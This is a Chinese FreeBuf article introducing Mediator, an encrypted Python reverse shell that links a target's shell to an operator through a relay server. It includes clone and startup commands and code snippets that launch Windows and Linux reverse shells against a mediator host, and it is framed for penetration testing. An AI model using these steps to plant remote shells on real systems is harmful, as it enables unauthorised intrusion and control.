freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Mediator:一款功能强大的可扩展端到端加密反向Shell
2021-11-16 23:53:44

关于Mediator

Mediator是一款功能强大的可扩展端到端加密反向Shell,该工具基于新型架构实现,采用Python语言开发,能够帮助广大研究人员通过一台“Mediator”服务器来跟Shell建立连接。这样一来,研究人员就不需要处理程序设置端口转发以侦听连接。除此之外,Mediator还可以帮助我们创建插件来扩展反向Shell的功能。

值得一提的是,我们不仅可以将Mediator的脚本作为独立的可执行文件运行,也可以将它们导入到其他渗透测试或事件响应工具中进行集成。

工具体系架构

Mediator受到了端到端加密聊天应用程序的启发,因此Mediator使用了一种独特的方法来实现反向Shell的客户端/服务器模型。Mediator使用了如下所示的方法:

客户端反向Shell

客户端Handler/Operator

一台服务器作为连接两端的桥梁

反向Shell和Handler会使用一个连接密钥来跟Mediator服务器进行连接。服务器会监听80端口(Handler连接)和443端口(反向Shell连接)。当客户端连接至Mediator服务器时,服务器将桥接这两个连接。此时,两个客户端之间将进行密钥交换,反向Shell和Operator之间的所有通信流量都将采用端到端加密,这样就可以确保不会有其他第三方窥探Mediator正在传输的流量数据。

插件机制

Mediator的插件机制将允许我们添加额外的命令,这些命令能够在研究人员的主机以及目标主机上执行各种代码。

工具下载

广大研究人员可以使用下列命令将该项目源码克隆至本地:

git clone https://github.com/lawndoc/mediator.git

工具配置&使用

服务器端

客户端脚本可以在Windows或Linux系统上运行,但你首先需要在Linux主机上配置并开启服务器(mediator.py)。服务器基于纯Python开发,因此在使用前无需安装额外的依赖组件。接下来,我们就可以使用下列命令来启动服务器了:

$ python3 mediator.py

或者,我们也可以使用提供的Dockerfile来在容器中运行Mediator服务器(确保开启了80端口和443端口)。

客户端

如需使用客户端脚本,则需要安装requirements.txt中定义的所有依赖组件,我们可以使用下列命令实现:

$ pip3 install -r requirements.txt

Mediator服务器地址

在使用Python脚本时,我们首先需要实例化中介主机的地址:

Handler类

from handler import Handler
operator = Handler(mediatorHost="example.com")
operator.run()

WindowsRShell类

from windowsTarget import WindowsRShell
shell = WindowsRShell(mediatorHost="example.com")
shell.run()

如果直接通过Shell执行客户端脚本,则则可以对脚本底部的地址进行硬编码,或者通过-s或--server参数来指定服务器地址:

handler.py

$ python3 handler.py -s example.com

windowsTarget.py

> python windowsTarget.py -s example.com

连接密钥

服务器只接受前缀为“#!ConnectionKey”的密钥,默认的连接密钥为“#!ConnectionKey_CHANGE_ME!!!”。

如需修改Python脚本所使用的连接密钥,可以选择在实例化时提供连接密钥:

Handler类

from handler import Handler
operator = Handler(mediatorHost="example.com", connectionKey="#!ConnectionKey_secret_key")
operator.run()

LinuxRShell类

from linuxTarget import LinuxRShell
shell = LinuxRShell(mediatorHost="example.com", connectionKey="#!ConnectionKey_secret_key")
shell.run()

或者, 在Shell中运行客户端脚本时,通过-c或--connection-key参数来指定连接密钥。

项目地址

Mediator:GitHub传送门

参考资料

# shell # shell脚本 # 反向Shell
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录